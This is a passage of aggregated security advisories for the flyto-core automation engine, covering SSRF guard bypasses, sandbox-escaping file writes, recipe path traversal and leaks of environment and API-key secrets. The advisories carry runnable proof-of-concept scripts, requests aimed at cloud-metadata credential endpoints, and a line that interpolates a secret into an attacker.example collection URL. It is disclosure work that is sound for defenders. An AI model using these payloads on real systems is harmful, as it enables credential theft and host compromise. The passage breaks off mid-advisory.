Where
-Infinity
0

Vendor Risk Score

See how flyto2 compares to other vendors in security performance

View Risk Score →
Severity
7.1
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary validateurlssrf resolves the hostname, checks the IP against private ranges, then discards the IP and returns the hostname URL string. aiohttp performs a fresh, independent DNS resolution at connect time. An attacker controlling DNS for a hostname (TTL 0, alternating public IP and internal IP) passes validation on the first lookup and connects to the internal IP on the second — a classic check-then-use race. SECURITYSSRF.md line 63 explicitly claims DNS-rebinding is prevented; it is not.

Root Cause src/core/utils.py:523 returns the hostname URL after validation; the resolved IP is never pinned. A repo grep of http/ and utils.py for TCPConnector / resolver / response.history / onrequestredirect / IP-pinning returns NONE. Each module builds a fresh ClientSession per call → the connect-time getaddrinfo is independent of the validation-time lookup.

Impact Defeats the SSRF guard on ALL modules that call it (readable internal fetch). Independent of IP-range completeness — the private IP is never presented to isprivateip. Requires attacker DNS control + winning the resolution race → AC:H.

Proof of Concept Code-proven: validateurlssrf returns the hostname (utils.py:523); no pinned-IP connector anywhere. Two independent resolutions occur (validation-time and aiohttp connect-time). attacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP executemodule http.get {"url":"http://rebind.attacker.tld/latest/meta-data/..."}

Attack Chain 1. Entry: http.get {url:"http://rebind.attacker.tld/..."}. Guard: validateurlwithenvconfig. Bypass proof: getaddrinfo(rebind.attacker.tld) returns the public IP, isprivateip=False (utils.py:511-519); returns the hostname URL (:523) — the IP is discarded. 2. Sink: session.get("http://rebind.attacker.tld/...") (get.py:116). aiohttp performs a FRESH independent getaddrinfo at connect → now resolves to the internal IP. Bypass proof: no TCPConnector/AsyncResolver/pinned-IP in http/ (grep confirms none). Two lookups. 3. Impact: internal fetch, body returned.

Bypass Evidence utils.py:523 returns the hostname string, not a pinned IP; grep confirms no IP pinning or custom resolver anywhere on the path; fresh ClientSession per call guarantees an independent second resolution.

Affected Versions <= 2.26.6 — utils.py:523 present on latest release tag; no pinning added on HEAD.

Suggested Fix Resolve the hostname once, pin the validated IP, and connect to that IP (custom TCPConnector/resolver) — reject any connect-time resolution that differs. This is the fix SECURITYSSRF.md already claims is in place.

Credit

Vulnerability discovered by zx (Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary http.paginate validates only the initial baseurl, then follows server-supplied pagination targets (RFC 5988 Link: rel="next" headers, cursor/offset URLs) in a loop without revalidating each follow-up URL. An attacker's first-page response can point next at an internal address, causing a second-order SSRF whose internal body is aggregated into the returned items.

Root Cause src/core/modules/atomic/http/paginate.py:495 validates baseurl (first URL only). The pagination loop paginatelinkheader reads nexturl via parselinkheader (:203), sets url=nexturl (:208), and calls session.request(method, url) (:196) with NO validate call in the loop (:186-208 has zero guard calls).

Impact Readable second-order SSRF that bypasses the SSRF control; internal/metadata body aggregated into allitems and returned to the caller (C:H, S:C).

Proof of Concept Verified live: http.paginate with allowlisted base 127.0.0.1 followed a Link: <http://127.0.0.3/...>; rel="next" (non-allowlisted) and returned INTERNAL-NEXTPAGE-SECRET in the aggregated items. executemodule http.paginate {"url":"http://attacker.tld/p1","strategy":"linkheader"} attacker p1 response header: Link: <http://<cloud-metadata-ip>/latest/meta-data/>; rel="next"

Attack Chain 1. Entry: http.paginate {url:"http://attacker.tld/p1", strategy:"linkheader"}. Guard: validateurlwithenvconfig(baseurl) (paginate.py:495) — validates the FIRST url only. 2. Sink: paginatelinkheader reads nexturl (parselinkheader :203), url=nexturl (:208), session.request(method,url) (:196) — NO validate call in the loop. Bypass proof: only :495 validates; loop at :186-208 has zero guard calls. 3. Impact: internal body aggregated into allitems and returned → readable second-order SSRF.

Bypass Evidence Live PoC followed a Link header into non-allowlisted loopback and returned the internal marker in aggregated results. Only baseurl is validated; the follow loop never revalidates.

Affected Versions <= 2.26.6 — paginate.py:495 + loop present on latest release tag.

Suggested Fix Run every follow-up URL (Link header, cursor, offset target) through validateurlwithenvconfig before fetching it inside the pagination loop.

Credit

Vulnerability discovered by zx (Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
10
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

[CRITICAL] Arbitrary file write via unguarded data. / file. write modules — incomplete fix of GHSA-2956

- CWE: CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path); impact reaches CWE-94 (code execution via file overwrite). - CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.3 Critical (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components). - AV:N — reachable via the MCP server / recipe engine (executemodule). AC:L — deterministic. PR:L — any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C — escapes FLYTOSANDBOXDIR. C/I/A:H — arbitrary-content write to any absolute path → overwrite app code / recipes / ~/.bashrc / cron / authorizedkeys → RCE. - Affected component: flyto-core (PyPI flyto-core), HEAD ae2b38e (v2.26.7 line). Modules data.csv.write (src/core/modules/atomic/data/csvwrite.py), data.jsontocsv (.../data/jsontocsv.py), file.copy (.../file/copy.py), file.move (.../file/move.py) — and the broader data./file./report-writer families that do not call the path guard. - Relationship: Incomplete fix of GHSA-2956-977x-2w3r (Critical arbitrary file write, patched in v2.26.6 by commit d5f89d7). That fix routed a hand-picked module list (image.download/convert/resize/crop/compress/rotate/watermark/qrcodegenerate, document.excelwrite/pdffillform/wordtopdf/pdftoword, browser.pagination checkpoint) through validatepathwithenvconfig(). It did not cover the data. and file. write families, which still write a client-controlled path with no confinement.

Reachability (hop-by-hop, guards resolved) 1. Client invokes a module via the recipe engine / MCP executemodule (src/core/mcphandler.py, mcpserver.py) — the same surface as GHSA-2956 / CVE-2026-55786. 2. data.csv.write reads filepath = params.get('filepath') and data (both client-controlled). Its only path check is if '..' in filepath: raise — a denylist that does not block absolute paths. 3. It calls os.makedirs(os.path.dirname(filepath), existok=True) then open(filepath, 'w') and writes data. No call to validatepathwithenvconfig() — so FLYTOSANDBOXDIR confinement is never applied. 4. data.jsontocsv (outputpath), file.copy / file.move (shutil.copy2/shutil.move to destination) have no path check at all. 5. An absolute path such as /home/<user>/.bashrc, /app/src/core/modules/.../<mod>.py, or a .flyto recipe file is written verbatim, outside the sandbox.

Guard analysis: the GHSA-2956 enforcement is per-module (e.g. image/download.py:21 imports and calls validatepathwithenvconfig). There is no central path enforcement in the runtime — runtime/languages.py's PathTraversalError guards plugin entry-point loading, not module output paths. So a module that omits the per-module call is entirely unconfined.

Root cause The remediation for GHSA-2956 confined writes by adding a per-module validatepathwithenvconfig() call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list — the entire data. and file. families here — remains an arbitrary-write primitive. data.csv.write's '..'-substring check is a denylist that misses absolute paths.

Impact Arbitrary file write with attacker-controlled content and path, escaping FLYTOSANDBOXDIR. Overwriting a Python module under the install dir, a .flyto recipe, a shell rc, a crontab, or ~/.ssh/authorizedkeys yields code execution / full host compromise — the same impact GHSA-2956 was rated Critical for.

Executable PoC (benign sentinel, local only) FLYTOSANDBOXDIR is set to the intended confinement; the module writes outside it while the GHSA-2956 guard rejects the same path.

python import os, sys, asyncio SBX = os.environ.setdefault('FLYTOSANDBOXDIR', "/tmp/flytosbx"); os.makedirs(SBX, existok=True) sys.path.insert(0, "<flyto-core>/src") OUT = "/tmp/flytoPWNEDOUTSIDE.csv" # absolute, outside the sandbox, no ".." from core.utils import validatepathwithenvconfig, PathTraversalError try: validatepathwithenvconfig(OUT); print("[guard] UNEXPECTED allow") except PathTraversalError: print("[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)") async def call(W, p): return await W(p, {}).execute() from core.modules.atomic.data.csvwrite import csvwrite from core.modules.atomic.data.jsontocsv import jsontocsv asyncio.run(call(csvwrite, {'filepath': OUT, 'data':[{'pwn':'SENTINELCSV'}]})) asyncio.run(call(jsontocsv,{'inputdata':[{'pwn':'SENTINELJSON'}], 'outputpath': OUT+'.json.csv'})) print("wrote outside sandbox:", os.path.exists(OUT), "| inside sandbox?", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))

Observed output: [guard] GHSA-2956 guard validatepathwithenvconfig() REJECTS out-of-sandbox path [data.csv.write] wrote=True insidesandbox=False [data.jsontocsv] wrote=True insidesandbox=False BUG CONFIRMED (arbitrary write outside sandbox) sample content: pwn / SENTINELCSV

Adversarial re-read (what I tried to refute it with) - Central path guard? No — runtime/languages.py PathTraversalError only guards plugin entry-point loading; the GHSA-2956 fix is per-module (confirmed at image/download.py:21). A module without the call is unconfined. - '..' check in csvwrite? Denylist; absolute paths contain no .. → bypassed (PoC uses /tmp/...). jsontocsv/file.copy/file.move have no check at all. - requiredpermissions=['filesystem.write']? A capability flag, not a path confinement — the GHSA-2956-guarded modules declare it too and still needed the guard. - Sandbox default? FLYTOSANDBOXDIR defaults to cwd (warning only); the PoC sets it explicitly to show the confinement is bypassed even when configured. - Result: no concrete blocker. CONFIRMED (incomplete fix).

Remediation Enforce confinement centrally: route every filesystem write through validatepathwithenvconfig() at the engine/module-base layer (e.g. in the write path of BaseModule, or a filesystem.write-capability hook), instead of per-module opt-in. As an immediate patch, add the call to data.csv.write, data.jsontocsv, file.copy, file.move, and audit every module with filesystem.write in requiredpermissions. Replace the '..' substring denylist with the canonical realpath+startswith(base) check already in validatepathsafe.

Confidence High — executed PoC (benign sentinel) shows two modules writing attacker-controlled content to an absolute path outside FLYTOSANDBOXDIR, while the GHSA-2956 guard rejects the same path.

Proof-of-Concept source (pocarbitrarywrite.py)

python """PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956). Run: FLYTOSANDBOXDIR is set to the intended confinement; the modules write OUTSIDE it.""" import os, sys, asyncio SBX = os.environ.setdefault('FLYTOSANDBOXDIR', "/tmp/home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flytosbx") sys.path.insert(0, os.path.join(os.path.dirname(file), "..", "..", "..", "flyto-core", "src")) sys.path.insert(0, "/home/aoc/CVEs/flyto-core/src") OUT="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flytoPWNEDOUTSIDE.csv"; OUT2="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flytoPWNEDjson.csv" from core.utils import validatepathwithenvconfig, PathTraversalError try: validatepathwithenvconfig(OUT); print("[guard] UNEXPECTED allow") except PathTraversalError: print("[guard] GHSA-2956 guard validatepathwithenvconfig() REJECTS out-of-sandbox path") async def call(W, p): return await W(p, {}).execute() from core.modules.atomic.data.csvwrite import csvwrite from core.modules.atomic.data.jsontocsv import jsontocsv r1 = asyncio.run(call(csvwrite, {'filepath': OUT, 'data':[{'pwn':'SENTINELCSV'}]})) r2 = asyncio.run(call(jsontocsv, {'inputdata':[{'pwn':'SENTINELJSON'}], 'outputpath': OUT2})) for tag,out in [('data.csv.write',OUT),('data.jsontocsv',OUT2)]: inside = os.path.realpath(out).startswith(os.path.realpath(SBX)) print(f"[{tag}] wrote={os.path.exists(out)} insidesandbox={inside} -> {out}") ok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX)) print("BUG CONFIRMED (arbitrary write outside sandbox)" if ok else "NOT CONFIRMED") print(" sample content:", open(OUT).read().strip())

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

[MEDIUM] SSRF guard bypass via DNS rebinding — validateurlssrf resolves-then-connects without pinning

- CWE: CWE-918 (SSRF) / CWE-367 (TOCTOU). - CVSS v3.1: AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N = 6.8 Medium (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254). - Affected component: flyto-core (PyPI flyto-core), HEAD ae2b38e (v2.26.7). src/core/utils.py::validateurlssrf (resolution at getaddrinfo ~L512, isprivateip check ~L515) and every consumer: guardedaiohttprequest(), enforceoutboundurl()/validateurlwithenvconfig() — i.e. http.get/request/batch, graphql.query/mutation, monitor.httpcheck, notification.{slack,discord,teams}, ai.visionanalyze, verify.visualdiff, browser.proxyrotate, etc. - Relationship: Incomplete hardening of the SSRF-guard family (GHSA-pgwh-4jj4-qm8v, GHSA-c9hr-64h3-gxpc, GHSA-794r-5rp2-fpg8/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks — but none pins the resolved address, so the guard's resolve-then-connect gap defeats all of them.

Root cause validateurlssrf() resolves the hostname with socket.getaddrinfo() and rejects the URL if any resolved IP is private. It then returns the URL string (hostname intact). The caller (guardedaiohttprequest: validateurlwithenvconfig(url) then session.request(method, url, ...)) hands the hostname to aiohttp, which performs an independent second DNS resolution at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's socket.getaddrinfo, so the two lookups are genuinely separate — one flip is sufficient.

Reachability 1. Attacker controls DNS for rebind.attacker.test (TTL 0), and drives any guarded HTTP module with url=http://rebind.attacker.test/ (recipe / MCP executemodule). 2. Guard: getaddrinfo → public IP → isprivateip false → URL allowed. 3. Outbound request: aiohttp re-resolves rebind.attacker.test → attacker now answers 127.0.0.1 / 169.254.169.254 → connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.

Executable PoC (benign, local; deterministic) The attacker's TTL=0 flip is modelled by making socket.getaddrinfo return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.

python (full source: findings/flyto-core/raw/pocdnsrebinding.py) guard sees resolution #1 (public) -> ALLOWS; connect re-resolves (127.0.0.1) -> hits sentinel validateurlssrf("http://rebind.attacker.test:8080/") # ALLOWED socket.createconnection(("rebind.attacker.test", 8080)) # lands on 127.0.0.1 sentinel

Observed output: [guard] validateurlssrf ALLOWED http://rebind.attacker.test:8080/ (saw public 93.184.216.34 on resolution #1) [connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)

Adversarial re-read - Is the getaddrinfo monkeypatch cheating? No — it deterministically models an attacker's TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable: validateurlwithenvconfig(url) resolves once, then session.request(url) resolves again with no pin. - Does aiohttp's DNS cache prevent it? No — the guard's socket.getaddrinfo and aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's. - Does redirect revalidation (GHSA-c9hr) block it? No — the first hop rebinds before any redirect. - Multiple A records? The guard loops all getaddrinfo results and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does. - Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).

Remediation Pin the validated address: resolve once, validate every returned IP, then connect to the pinned IP (not the hostname) — e.g. pass the resolved address to aiohttp via a custom resolver/TCPConnector (or set the Host header and connect by IP), so the guard's decision and the socket target are the same address. Apply for every hop in guardedaiohttprequest. Alternatively, use a resolver wrapper that validates inside the connect path.

Confidence High that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.

Proof-of-Concept source (pocdnsrebinding.py)

python """PoC: DNS-rebinding SSRF bypass of validateurlssrf (resolve-then-connect, no IP pin). Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo flips public->private across successive lookups exactly as an attacker TTL=0 DNS does. The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the sentinel (private) -> internal reach that the guard was supposed to block.""" import os, sys, socket, threading, time sys.path.insert(0, os.path.join(os.getcwd(), "src")) from core.utils import validateurlssrf, SSRFError

1) internal "service" sentinel: raw TCP listener on loopback srv = socket.socket(socket.AFINET, socket.SOCKSTREAM) srv.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) import errno for p in (8080, 8443): try: srv.bind(("127.0.0.1", p)); break except OSError: continue else: raise SystemExit("no allowed port free") srv.listen(1) PORT = srv.getsockname()[1] hit = {"internal": False} def acceptonce(): try: c, = srv.accept(); hit["internal"] = True; c.close() except OSError: pass threading.Thread(target=acceptonce, daemon=True).start()

HOST = "rebind.attacker.test" PUBLIC = "93.184.216.34" # example.com, public -> guard must ALLOW

2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1 real = socket.getaddrinfo calls = {"n": 0} def flippinggetaddrinfo(host, port, a, k): if host == HOST: calls["n"] += 1 ip = PUBLIC if calls["n"] == 1 else "127.0.0.1" return [(socket.AFINET, socket.SOCKSTREAM, 6, "", (ip, port or 0))] return real(host, port, a, k) socket.getaddrinfo = flippinggetaddrinfo

3) GUARD runs (resolves #1 = public) -> should PASS try: validateurlssrf(f"http://{HOST}:{PORT}/") print(f"[guard] validateurlssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)") except SSRFError as e: print("[guard] blocked (rebinding not effective):", e); sys.exit(0)

4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel try: s = socket.createconnection((HOST, PORT), timeout=3); s.close() except OSError as e: print("[connect] error:", e) time.sleep(0.2) socket.getaddrinfo = real print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}") print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)" if hit["internal"] else "NOT CONFIRMED") srv.close()

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.8, the MCP runrecipe tool in src/core/mcphandler.py accepts a caller-controlled recipename that loadrecipe() in src/cli/recipe.py appends to the src/recipes path without resolved-path containment. Parent-directory segments can therefore make Flyto load and execute a YAML workflow outside the bundled recipe directory, bypassing the boundary represented by listrecipes(). This does not necessarily provide unrestricted code execution because available workflow modules remain subject to Flyto's module policy, but it permits unintended execution of allowed browser, network, file, and data-processing modules. This issue is fixed in version 2.26.8.

First published (updated )
Severity
8.6
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary

The capability policy denies the env.get and env.loaddotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.

Affected code

src/core/engine/variableresolver.py:

python if vartype == 'env': if len(parts) < 2: return None envvar = parts[1] return os.getenv(envvar) # any env var, no allowlist, not covered by module policy

The module policy (enforcemodulepolicy in modulepolicy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.

Reproduction

Save as envbypasspoc.py, run with PYTHONPATH=src/src python envbypasspoc.py.

python #!/usr/bin/env python3 import os os.environ["AWSSECRETACCESSKEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"

from core.modulepolicy import modulefilter from core.engine.variableresolver import VariableResolver

print("env.get allowed? ", modulefilter.isallowed("env.get")) r = VariableResolver(params={}, context={}) print("resolve ${env.SECRET}: ", r.resolve("${env.AWSSECRETACCESSKEY}")) print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWSSECRETACCESSKEY}"))

Output:

env.get allowed? False resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK

env.get is denied, yet ${env.AWSSECRETACCESSKEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWSSECRETACCESSKEY}" resolved to the secret and returned it in the workflow result (in plaintext — the trace redaction did not mask it).

Reachability (why this is not operator self-service)

The vendor denies env.get by default and states the reason inline — reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. ${env.} gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on — not intended behavior.

Impact

Read any host environment variable — cloud keys, tokens, DSNs — that the operator relied on the env.get denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker's public host). Reachable via the workflow API and the MCP agent surface.

Suggested fix

Apply the same policy to ${env.} as to the env.get module: gate it behind an explicit allowlist of permitted variable names and deny by default when env.get is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop ${env.} and require env values to be passed in explicitly at workflow start.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allowredirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.

Root Cause src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allowredirects argument → aiohttp default True. request.py:60 sets allowredirects=followredirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for onrequestredirect / response.history returns NONE — there is no redirect interception or Location revalidation.

Impact Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.

Proof of Concept Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT. attacker hosts http://attacker.tld/r -> 302 Location: http://<cloud-metadata-ip>/latest/meta-data/... executemodule http.get {"url":"http://attacker.tld/r"}

Attack Chain 1. Entry: executemodule http.get {url:"http://attacker.tld/r"} (attacker 302->internal). Guard: validateurlwithenvconfig(url) (get.py:104). Bypass proof: validation runs on attacker.tld (public) → passes; never re-run on the redirect target. 2. Sink: session.get(url) (get.py:116) — no allowredirects arg → aiohttp default True. Bypass proof: grep of http/ for onrequestredirect/response.history → NONE. 3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).

Bypass Evidence Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allowredirects=True; module never sets it False; no per-hop revalidation exists.

Affected Versions <= 2.26.6 — get.py:116, request.py:60, batch.py:57 present on latest release tag.

Suggested Fix Set allowredirects=False and manually revalidate each Location header through validateurlwithenvconfig before following, or cap and re-check every hop.

Credit

Vulnerability discovered by zx (Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary

llm.chat reads the operator's provider key from the environment (OPENAIAPIKEY, ANTHROPICAPIKEY, ...) and sends it in the Authorization: Bearer header to baseurl, a parameter the caller controls. baseurl is only checked against the SSRF guard, and the guard allows any public host, so pointing baseurl at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPICAPIKEY)" as High.

Affected code

src/core/modules/atomic/llm/chat.py (callopenai):

python baseurl = params.get('baseurl') # caller-controlled if baseurl: validateurlwithenvconfig(baseurl) # SSRF check only; a public attacker host passes if not apikey: apikey = os.getenv('OPENAIAPIKEY') # operator's key ... url = (baseurl or "https://api.openai.com/v1").rstrip('/') + "/chat/completions" headers = {"Authorization": f"Bearer {apikey}"} await client.post(url, headers=headers, json=payload) # sent to baseurl

The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check baseurl), llm.agent, and vector.connector (QDRANTAPIKEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.

Reproduction

Save as keyexfilpoc.py, run with PYTHONPATH=src/src python keyexfilpoc.py. It sets an operator key in the environment and points baseurl at a local capture server.

python #!/usr/bin/env python3 import asyncio import os import threading from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["OPENAIAPIKEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a" os.environ["FLYTOALLOWEDHOSTS"] = "localhost" # stand-in for the attacker's public host CAPTURED = {}

class Attacker(BaseHTTPRequestHandler): def doPOST(self): CAPTURED["auth"] = self.headers.get("Authorization") ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln) b = b'{"choices":[{"message":{"content":"pwned"},"finishreason":"stop"}],"usage":{"totaltokens":1}}' self.sendresponse(200); self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(b))); self.endheaders(); self.wfile.write(b) def logmessage(self, a): pass

async def main(): from core.modules.atomic import registerall from core.modules.registry import ModuleRegistry registerall() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serveforever, daemon=True).start() res = await ModuleRegistry.execute("llm.chat", params={ "prompt": "hi", "provider": "openai", "baseurl": "http://localhost:8080", }, context={}) print("module ok:", res.get("ok")) print("Authorization received by attacker:", CAPTURED.get("auth"))

if name == "main": asyncio.run(main())

Output:

module ok: True Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a

Confirmed against the running API as well: calling llm.chat with baseurl=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.

Impact

Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence baseurl, which is reachable through the MCP agent surface or the hosted API.

Suggested fix

Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom baseurl, require them to supply the apikey explicitly too, or check baseurl against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's baseurl.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary Numerous HTTP-emitting modules (core.api.httpget, core.api.httppost, graphql.query/graphql.mutation, monitor.httpcheck, communication.slacksend, notification.{discord,slack,teams}.sendmessage, ai.visionanalyze [anthropic path], verify.visualdiff, browser.proxyrotate, and the agent/llm inline baseurl branch) perform outbound requests to a fully client-controlled URL without calling the project's own SSRF guard (validateurlwithenvconfig) that their sibling modules apply. An authenticated workflow-author can point the URL at the cloud metadata IP (169.254.169.254), a loopback/RFC1918 host, or any internal host and read the response, yielding cloud-metadata credential theft and internal service read/write.

Root Cause The SSRF guard is per-module (there is NO global egress interception). Each module must call validateurlwithenvconfig before issuing a request. The listed modules never call it — they only carry an ssrfprotected metadata tag string which enforces nothing. Exemplar: src/core/modules/thirdparty/developer/http/requests.py — grepping for validateurl|ssrf|isprivate in requests.py returns 0 guard calls; session.get(url) fires at :85 (HTTPGetModule) and session.post at :188 (HTTPPostModule). SECURITY.md incorrectly lists api.httpget as SSRF-protected.

Impact Readable SSRF: full {statuscode, headers, body} returned to the caller (requests.py:96-108). Enables theft of cloud IAM credentials from the metadata endpoint and read/write access to internal-only APIs. Scope Changed (S:C) — the request crosses into cloud-metadata / internal-network authority the workflow layer does not otherwise have.

Proof of Concept Verified live this session: core.api.httpget with url pointed at a loopback internal server returned the internal body INTERNAL-SECRET-IAM-CREDENTIALS, while the guarded sibling http.get returned NETWORKERROR: Hostname blocked: 127.0.0.1 on the same input — proving the branch-asymmetry is real (not a port artifact). POST /mcp {"method":"tools/call","params":{"name":"executemodule", "arguments":{"moduleid":"core.api.httpget", "params":{"url":"http://<cloud-metadata-ip>/latest/meta-data/iam/security-credentials/"}}}}

Attack Chain 1. Entry: authenticated MCP client → POST /mcp executemodule core.api.httpget, url set to the cloud metadata endpoint. Guard: requireauth (mcp.py:71). Bypass proof: passes with a valid workflow-author bearer token (PR:L). 2. Check: capability denylist / enforcemodulepolicy (base.py:240). Bypass proof: core.api. not in DEFAULTDENYLIST (modulepolicy.py:45-67) → isallowed=True (runtime-registration verified: core.api.httpget -> HTTPGetModule). 3. Check: SSRF validation. Bypass proof: requests.py has ZERO validateurl/ssrf calls — only the ssrfprotected tag string at :23/:116. session.get(url) fires at :85. 4. Sink: aiohttp GET/POST to the cloud metadata IP. 5. Impact: full response body returned → IAM credential theft, internal read/write.

Bypass Evidence Grepping validateurl|ssrf|isprivate in requests.py → 0 guard calls (2 hits are both the inert tag string). Live PoC returned internal body directly; guarded sibling blocked the same input. Direct IP works — no IPv6 transition trick needed (AC:L), unlike the seed CVE-2026-55787.

Affected Versions <= 2.26.6 — code present on latest release tag v2.26.6 (requests.py:19,112).

Suggested Fix Call validateurlwithenvconfig(url) in each listed module before issuing the outbound request, matching the guarded siblings (e.g. ai.model:157, http.get). Best: route all outbound HTTP through a single guarded client wrapper so new modules inherit the guard.

Credit

Vulnerability discovered by zx (Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
10
Path Traversal, SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Summary

image.download fetches a URL and writes the response to disk. It does not use the central path guard (validatepathwithenvconfig, which confines writes to FLYTOSANDBOXDIR); instead it confines the output to outputdir, but outputdir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.

Affected code

src/core/modules/atomic/image/download.py:

